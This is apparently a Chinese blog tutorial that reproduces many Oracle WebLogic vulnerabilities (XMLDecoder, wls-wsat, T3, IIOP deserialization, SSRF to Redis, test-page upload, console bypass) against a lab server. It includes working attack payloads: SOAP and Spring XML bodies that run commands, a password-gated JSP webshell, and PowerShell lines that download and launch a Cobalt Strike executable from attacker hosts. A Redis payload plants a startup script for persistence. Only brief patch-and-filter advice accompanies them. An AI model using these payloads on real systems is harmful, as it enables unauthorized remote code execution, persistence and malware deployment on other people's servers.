目录

  • 一、weblogic是什么?
  • 二、安装环境
    • 1、下载weblogic
    • 2、安装(其实就是点点点啦)
  • 三、反序列化漏洞
    • 1、XMLDecoder(CVE-2017-10271
    • 2、XMLDecoder (CVE-2017-3506
    • 3、wls-wsat远程代码执行(CVE-2019-2725
    • 4、T3协议命令执行(CVE-2018-2628
    • 5、 IIOP(CVE-2020-2551
  • 四、SSRF
    • 1、SSRF(CVE-2014-4210
    • 2. SSRF联动Redis
    • 3、防御
  • 五、未授权访问
    • 1、Web Service Test Page(CVE-2018-2894
    • 2、Console HTTP协议远程代码执行(CVE-2020-14882/CVE-2020-14883
  • 六、War后门文件部署
    • 1、后台弱口令getshell

一、weblogic是什么?

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

二、安装环境

各位看官下载请认准这个站:https://www.oracle.com/cn/middleware/technologies/weblogic/wls-main.html

1、下载weblogic

有以下两个可进行选择,硬件好的可以下第一个,我就选个小的就好,两个都可以复现

2、安装(其实就是点点点啦)

下载好后打开exe,我把需要选择的地方全部截出来了






启动的话,安装结束后可直接勾选服务器,或者执行Oracle\Middleware\user_projects\domains\base_domain下的startWebLogic.cmd


在中红框位置输入你安装时候的用户和口令

等一小会,访问http://192.168.50.167:7001/console,你就可以看到如下页面,那就恭喜你安装完成了

三、反序列化漏洞

1、XMLDecoder(CVE-2017-10271

漏洞原理
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
漏洞影响

10.3.6.0
12.1.3.0.0
12.2.1.1.0

漏洞验证
访问 /wls-wsat/CoordinatorPortType ,出现如下图所示的回显时,说明存在该漏洞;在wls-wsat包中,web.xml文件里的url均受影响

Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

漏洞复现
burp抓包,改包(包头得加上Content-type:text/xml)
第一个字符串为文件相对路径和创建的文件名,第二个字符串为文件内容

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/1.txt</string><void method="println"><string>123123123</string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>


发包后进行访问http://192.168.50.167:7001/bea_wls_internal/1.txt,发现写的内容已经上去了

改成一句话木马(由于<和&在xml是非法的,所以得加上<![CDATA[ ]]>)

<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>


访问/xd1.jsp?pwd=023&i=whoami

防御
打官网补丁

2、XMLDecoder (CVE-2017-3506

漏洞原理
cve-2017-3506与10271他们的漏洞原理是一样的,只不过10271绕过了3506的补丁,CVE-2017-3506的补丁加了验证函数,验证Payload中的节点是否存在object Tag
漏洞影响

10.3.6.0
12.1.3.0
12.2.1.0
12.2.1.1
12.2.1.2

漏洞复现
写cmd命令执行

写好后访问/xd3.jsp

再看容器发现计算器弹出来了

防御
打官网补丁

3、wls-wsat远程代码执行(CVE-2019-2725

漏洞原理
此漏洞实际上是CVE-2017-10271的又一入口,CVE-2017-3506的补丁过滤了object;CVE-2017-10271的补丁过滤了new,method标签,且void后面只能跟index,array后面只能跟byte类型的class;CVE-2019-2725的补丁过滤了class,限制了array标签中的byte长度。
影响组件

bea_wls9_async_response.war
wsat.war

漏洞影响

10.3.x
12.1.3

漏洞验证
访问 /_async/AsyncResponseService(/wls-wsat),返回200则存在

_async(Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml)

/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceJms
/_async/AsyncResponseService
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Https

wls-wsat(Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml)

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

漏洞复现

win上线cs

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"  xmlns:asy="http://www.bea.com/async/AsyncResponseService" ><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>powershell</string></void><void index="1"><string>-Command</string></void><void index="2"><string>(new-object System.Net.WebClient).DownloadFile('http://192.168.50.72:12345/xd.exe','xd.exe');start-process xd.exe</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>


防御

  1. 打官方补丁
  2. 升级本地jdk环境

4、T3协议命令执行(CVE-2018-2628

漏洞原理
远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,通过T3协议(EJB支持远程访问,且支持多种协议。这是Web Container和EJB Container的主要区别)在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java Remote Messaging Protocol:java远程消息交换协议)达到执行任意反序列化 payload 的目的。
漏洞影响

10.3.6.0
12.1.3.0
12.2.1.1
12.2.1.2

漏洞验证
poc、exp:https://github.com/jas502n/CVE-2018-2628
python CVE-2018-2628-poc.py 192.168.50.167 7001(py2)
当出现红框内容说明存在

漏洞复现
我改了下目录,所以跑出来的链接可能与我不同,但是你没错


防御
过滤T3协议,选择安全->筛选器,填入,最后保存重启即可

weblogic.security.net.ConnectionFilterImpl

5、 IIOP(CVE-2020-2551

漏洞原理
2020年1月15日,Oracle官方发布2020年1月关键补丁更新公告CPU(CriticalPatch Update),其中CVE-2020-2551的漏洞,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低。IIOP反序列化漏洞影响的协议为IIOP协议,该漏洞是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,在使用之前未经安全检查,攻击者可以通过 IIOP 协议远程访问 Weblogic Server 服务器上的远程接口,传入恶意数据,从而获取服务器权限并在未授权情况下远程执行任意代码.
漏洞影响

10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4

漏洞复现
反序列化工具:https://github.com/RandomRobbieBF/marshalsec-jar
exp:https://github.com/Y4er/CVE-2020-2551
需要jdk1.8的环境编译下面这个文件exp.java,生成exp.class,在这个目录下启动python简易web服务,并启动marshalsec

import java.io.IOException;
public class exp {static{try{java.lang.Runtime.getRuntime().exec("powershell -c (new-object System.Net.WebClient).DownloadFile('http://192.168.50.129/xd','1')");} catch (IOException e) {e.printStackTrace();}}public static void main(String[] args){}
}


都启动后运行exp程序

java -jar weblogic_CVE_2020_2551.jar 192.168.50.167 7001 rmi://192.168.50.129:12345/exp

防御
打官方补丁

四、SSRF

1、SSRF(CVE-2014-4210

漏洞原理
Oracle WebLogic Web Server既可以被外部主机访问,同时也允许访问内部主机。比如有一个jsp页面SearchPublicReqistries.jsp,我们可以利用它进行攻击,未经授权通过weblogic server连接任意主机的任意TCP 端口,可以能冗长的响应来推断在此端口上是否有服务在监听此端口,进而攻击内网中redis、fastcgi等
漏洞影响

10.0.2.0
10.3.6.0

漏洞验证
访问该路径存在则说明有漏洞 /uddiexplorer/SearchPublicRegistries.jsp

漏洞复现
burp抓包,修改operator为http://127.0.0.1:7001/

An error has occurred
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found). Please ensure that your URL is correct, and the web service has deployed without error.


换一个未开放端口(7002)

An error has occurred
weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '127.0.0.1', port: '7002'

2. SSRF联动Redis

漏洞复现
payload

http://192.168.50.136:6379/x
set 1 “\r\n\r\necho invoke-expression((new-object net.webclient).downloadstring(‘http://192.168.50.129:80/a’)) | powershell -\r\n\r\n”
config set dir ‘C:\Users\Xd\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup’
config set dbfilename xd.bat
save
d



内网主机重启上线cs

3、防御

升级版本

五、未授权访问

1、Web Service Test Page(CVE-2018-2894

漏洞原理
Weblogic Web Service Test Page中有两个未授权页面,可以上传任意文件。但是有一定的限制,该页面在开发模式下存在,在生产模式下默认不开启,如果是生产模式,需要登陆后台进行勾选启动web服务测试页

漏洞影响

10.3.6
12.1.3
12.2.1.2
12.2.1.3

漏洞验证
访问

/ws_utc/config.do
/ws_utc/begin.do

漏洞复现

  1. /ws_utc/config.do
    默认 Work Home Dir目录无法执行webshell,所以更换一个可以执行的目录
    C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\bea_wls_internal\9j4dqk\war

    点击左边安全,然后添加

    查看文件时间戳

    上传文件在bea_wls_internal的war包config/keystore/{时间戳}_{文件名}

  2. /ws_utc/begin.do
    该页面默认工作目录和上面设置的默认工作目录是一样的

    String dirName = “RS_Upload_” + df.format(new Date());
    /upload/RS_Upload_(当前时间到毫秒)/import_file_name_{文件名}
    bea_wls_internal/upload/RS_Upload_2021-11-24_14-30-12_307/import_file_name_1.jsp

防御

  1. 启动生产模式后Config.do页面登录授权后才可访问
  2. 升级到最新版本

2、Console HTTP协议远程代码执行(CVE-2020-14882/CVE-2020-14883

漏洞原理
CVE-2020-14883:允许未授权的用户通过目录穿越结合双重URL编码的方式来绕过管理控制台的权限验证访问后台。
CVE-2020-14882:允许后台任意用户通过HTTP协议执行任意命令。
漏洞影响

10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4
14.1.1.0

漏洞复现
CVE-2020-14883: 权限绕过漏洞的poc:
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

CVE-2020-14882用到的恶意类
com.tangosol.coherence.mvel2.sh.ShellSession(Weblogic 12.2.1以上版本才能利用
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(通杀
FileSystemXmlApplicationContext类原理:该类会远程加载目标服务器上的XML文件并进行解析,其中可以指定解析的Bean为ProcessBuilder类及其start()函数、构造函数参数为恶意命令,进而实现RCE。

利用py启动一个简易的web服务

让其访问该web服务中不存在的文件

发现服务器对我web服务发起请求

于是制作cs马

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>powershell</value><value>-command</value><value>(new-object System.Net.WebClient).DownloadFile('http://192.168.50.129:12345/xd.exe','xd.exe');start-process xd.exe</value></list></constructor-arg></bean>
</beans>

在pyload目录下启动一个端口的py web服务,并把cs的exe文件放在该目录下,等待目标请求

六、War后门文件部署

1、后台弱口令getshell

漏洞原理
后台存在弱口令或默认用户名/口令

漏洞复现
点击部署->安装





防御
修改强口令

大家可以关注菜鸡的公众号,有什么好想法也可以让我学习一下,有什么问题可以一块解决,由于二维码违规,下面是base64编码的文字

5b6u5L+h5YWs5LyX5Y+34oCc5a6J5YWo5re35a2Q4oCd77yM5Y+v5Lul55So5b6u5L+h5pCc5LiA5pCc77yM5q2j5Zyo5a6M5ZaE5LitLi4uLi4u


weblogic中间件漏洞汇总相关推荐

  1. weblogic中间件漏洞总结

    一.weblogic简介 WebLogic是美国Oracle公司出品的一个application server确切的说是一个基于JAVAEE架构的中间件,BEA WebLogic是用于开发.集成.部署 ...

  2. Weblogic 常见漏洞汇总

    WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发.集成.部署和管理大型分布式Web应用.网络 ...

  3. WebLogic历史漏洞汇总与复现

    前言:WebLogic是美国Oracle公司出品的一个applicationserver,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发.集成.部署和管理大型分布式Web应用. ...

  4. JBoss中间件漏洞汇总

    目录 一.JBoss是什么? 二.安装环境 1. Jdk 2. 下载JBoos4.6,并进行配置 三. 反序列漏洞 1. HttpInvoker 组件(CVE-2017-12149) 2. JMXIn ...

  5. weblogic中间件WLS(bea_wls_internal)组件敏感信息泄露漏洞整改

    近期负责的系统weblogic中间件bea_wls_internal被查出存在wls组件敏感信息泄露漏洞,访问漏洞地址如下: 针对上述漏洞,做过如下测试,整改未生效. 删除bea_wls_intern ...

  6. 常用的30+种未授权访问漏洞汇总

    未授权访问漏洞汇总预览 1 .FTP 未授权访问(21) 2 .LDAP 未授权访问(389) 3 .Rsync 未授权访问(873) 4 .ZooKeeper 未授权访问(2181) 5 .Dock ...

  7. weblogic系列漏洞整理————8、WebLogic 两处任意文件上传漏洞动态分析(CVE-2018-2894)

    0x01 前言 CNCERT前几天发公告称发现Oracle公司出品的基于JavaEE结构的中间件WebLogic产品存在一个远程上传漏洞,并得到了厂商的确认,危害程度评分高达9.8分.鉴于厂商已进行了 ...

  8. IIS Nginx Apache Tomcat 中间件漏洞

    简介 中间件(英语:Middleware)是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通.中间件处在操作系统和更高一级应用程序之间.他充当的功能是:将程序运行环境与操作系统隔离,从 ...

  9. WEB常见中间件漏洞原理

    Apache Shiro反序列化 在shiro≤1.2.4版本,默认使CookieRememberMeManager,由于AES使用的key泄露,导致反序化的cookie可控,从而引发反序化攻击.(理 ...

最新文章

  1. [转载]C# 二进制与十进制,十进制与十六进制相互转换
  2. Logstash 父子关系 配置
  3. 医学图像-颅内出血(转载+整理)
  4. java获取keyvault_ARM Template 结合key vault存储机密信息 (一)
  5. normalize函数_Pandas 数据处理(一) —— 几个简单函数掌握!
  6. 小米9全面现货还降价,米粉却心情复杂?
  7. [c#] const 与 readonly
  8. 要毕业了,兄弟也签了工作。。。
  9. 齐次线性方程组和非齐次线性方程组
  10. DL之RNN:人工智能为你写诗——基于TF利用RNN算法实现【机器为你写诗】、训练测试过程全记录
  11. 华为交换机VLAN配置多个端口详细步骤
  12. 15、三维表面重建-Occupancy Networks
  13. 一个小型RISC-V开源处理器核介绍!
  14. python窗口设置背景图片_PyQt5 实现给窗口设置背景图片的方法
  15. Python数据类型练习题
  16. Ebox系列Corecon不同版本不宜安装在一起
  17. spark笔记spark优化
  18. omnet 收发信息
  19. 文章生成器html,【转载】伪原创文章生成器源代码
  20. Android 属性动画(二)

热门文章

  1. 独立钻石Solitaire算法求解
  2. English Learning - L2-14 英音地道语音语调 重音技巧 2023.04.10 周一
  3. [附源码]PHP计算机毕业设计社区居家养老管理系统(程序+LW)
  4. P2242公路维修问题题解
  5. 机器学习实战:车牌识别系统
  6. Child类调用GrandFather类方法引发的思考
  7. Power BI与PowerQuery、PowerPivot的关系
  8. 统计学习方法|隐马尔可夫模型
  9. ioctl 详解,以ethtool为例
  10. Ultimaker荣获领先的IDC创新者荣誉